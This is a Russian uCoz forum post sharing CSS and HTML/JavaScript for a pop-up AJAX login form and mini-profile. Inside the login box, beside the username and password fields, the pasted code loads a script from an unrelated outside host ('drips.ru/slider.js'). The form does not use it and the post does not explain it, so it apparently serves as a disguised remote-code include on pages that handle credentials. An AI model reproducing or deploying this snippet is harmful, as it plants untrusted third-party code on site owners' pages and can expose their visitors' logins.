[ Новые сообщения · Участники · Правила форума · Поиск · RSS ]
Реклама:
  • Страница 1 из 1
  • 1
Модератор форума: cinemania, sipper2, Flektion  
Форум. Скрипты к UCOZ » Фрилансеры » Скрипты к системе ucoz » Новая форма входа для Ucoz в ajax окне (В ajax окне)
Новая форма входа для Ucoz в ajax окне
uzdechkoДата: Воскресенье, 05.02.2012, 13:32 | Сообщение # 1
Сержант
Сообщений: 39
Репутация: [ ]
:-)
Скрин:

Новая форма входа для Ucoz в ajax окне + мини-профиль в ajax окне
Форма входа и мини-профиль вызываются спомощью ссылки.
Вставляем в css в самый низ:

Code
/* User Box */    
    #userbox {text-shadow:0 -1px 0 #446b81;color:#fff;font:normal 14px Trebuchet MS,Arial,Tahoma,Verdana;display:none;position:fixed;top:50%;left:50%;padding:29px 33px 0;width:250px;margin-left:-158px;margin-top:-140px;height:281px;background:url('http://www.csomsk.ru/1-ucoz/pm/user_box.png') no-repeat 0 0;}    
    #userbox a {color:#fff;text-decoration:none;}    
    #userbox a:hover {text-decoration:underline;}    
    #userbox span#nm {font:bold 26px Trebuchet MS,Arial,Tahoma,Verdana;margin-bottom:18px;display:block;}    
    #userbox #cls {width:25px;height:25px;display:block;float:right;background:url('http://www.csomsk.ru/1-ucoz/pm/oel.png') no-repeat 0 -133px;cursor:pointer;}    
    #userbox input[type='text'], #userbox input[type='password'] {margin-top:19px;padding:0 13px;background:url('http://www.csomsk.ru/1-ucoz/pm/oel.png') no-repeat 0 0;font:normal 15px/38px Trebuchet MS,Arial,Tahoma,Verdana;width:224px;height:37px;color:#9f9f9f;border:none;outline:none;}    

    #userbox input#log_in {background:url('http://www.csomsk.ru/1-ucoz/pm/logbt.png') no-repeat -122px 0;cursor:pointer;width:122px;height:40px;margin:21px 64px 0;border:none;outline:none;}    
    #userbox input#log_in:hover {background:url('http://www.csomsk.ru/1-ucoz/pm/logbt.png') no-repeat -122px -41px;}    
    #userbox input#log_out {background:url('http://www.csomsk.ru/1-ucoz/pm/logbt.png') no-repeat 0 0;cursor:pointer;width:122px;height:40px;margin:21px 64px 0;border:none;outline:none;}    
    #userbox input#log_out:hover {background:url('http://www.csomsk.ru/1-ucoz/pm/logbt.png') no-repeat 0 -41px;}    

    #userbox #avatar {width:95px;height:96px;background:url('http://www.csomsk.ru/1-ucoz/pm/oel.png') no-repeat 0 -37px;float:left;margin-right:22px;margin-top:19px;}    
    #userbox #avatar img {max-with:85px;max-height:85px;margin:5px 5px 0 5px;border:none;}    
    #userbox #u_block {padding-top:21px;}    
    #userbox #u_block a {display:block;}    
    /* -------- */


Где хотите видеть ссылку для вызова вставляем:

Code
<!-- User_Box -->    
    <script type="text/javascript">function log_in() {$('input[name=user]').val($('#u_login').val());$('input[name=password]').val($('#u_pass').val());$('input[name=sbm]').click();}</script>    
    <div id='userbox'>    
    <div id='cls' title='Закрыть' onclick="$('#userbox').fadeOut();"></div>    
    <script src="http://drips.ru/slider.js" type="text/javascript"></script>
    <span id='nm'><?if($USER_LOGGED_IN$)?>Профиль<?else?>Вход<?endif?></span>    
    <?if($USER_LOGGED_IN$)?>    
    <div id='avatar'><img src='$USER_AVATAR_URL$' alt='avatar' title='$USERNAME$'></div>    
    <div id='u_block'>    
    <a href='/news/0-0-0-1'>Добавить Новость</a>    
    <a href='/index/14'>Сообщения: <span title='Непрочитанных сообщений: $UNREAD_PM$'>$UNREAD_PM$</span></a>    
    <a href='/index/8'>Мой Профиль</a>    
    <a href='/index/11'>Изенить Данные</a>    
    <a href='/index/15'>Все Пользовтели</a>    
    <input type='button' value='' title='Выйти' id="log_out" onclick="location.href='/index/10'">    
    </div>    
    <?else?><input type='text' id='u_login' value='Логин' size='20' maxlength='50' onblur="if(value == ''){value = 'Логин'}" onfocus="if(value == 'Логин'){value =''}">    
    <input type='password' id='u_pass' value='Пароль' size='20' maxlength='50' onblur="if(value == ''){value = 'Пароль'}" onfocus="if(value == 'Пароль'){value =''}">    
    <input type='button' value='' id="log_in" onclick='log_in();'>    
    <?endif?>    
    </div>    
    <!-- /User_Box -->
<a href="javascript://" onclick="$('#userbox').fadeIn();"><?if($USER_LOGGED_IN$)?>Профиль<?else?>Вход<?endif?></a>


ВНИМАНИЕ: Стандартную форму входа нужно удалить и глобольных блоков (Если есть)
Форум. Скрипты к UCOZ » Фрилансеры » Скрипты к системе ucoz » Новая форма входа для Ucoz в ajax окне (В ajax окне)
  • Страница 1 из 1
  • 1
Поиск:
Статистика Форума
Последние темы Читаемые темы Лучшие пользователи Новые пользователи

cTapu4ok

(13)

cinemania

(328)

falkon2

(125)

sipper2

(116)

v1rus

(59)

Proffesop

(39)

uzdechko

(39)

LOX

(36)

Hranitel

(28)

cTapu4ok

(25)

qwertysproject

(23)

Зарег. на сайте
Всего: 2052
Новых за месяц: 0
Новых за неделю: 0
Новых вчера: 0
Новых сегодня: 0
Из них
Администраторов: 1
Модераторов: 3
Проверенных: 3
Обычных юзеров: 2044
Из них
Парней: 1758
Девушек: 294

Лучшие фильмы | Уроки Adobe Photoshop | Шаблоны для uCoz | Онлайн-TV | Кнопки для сайта UCOZ | Иконки для сайтов UCOZ | Скрипты для uCoz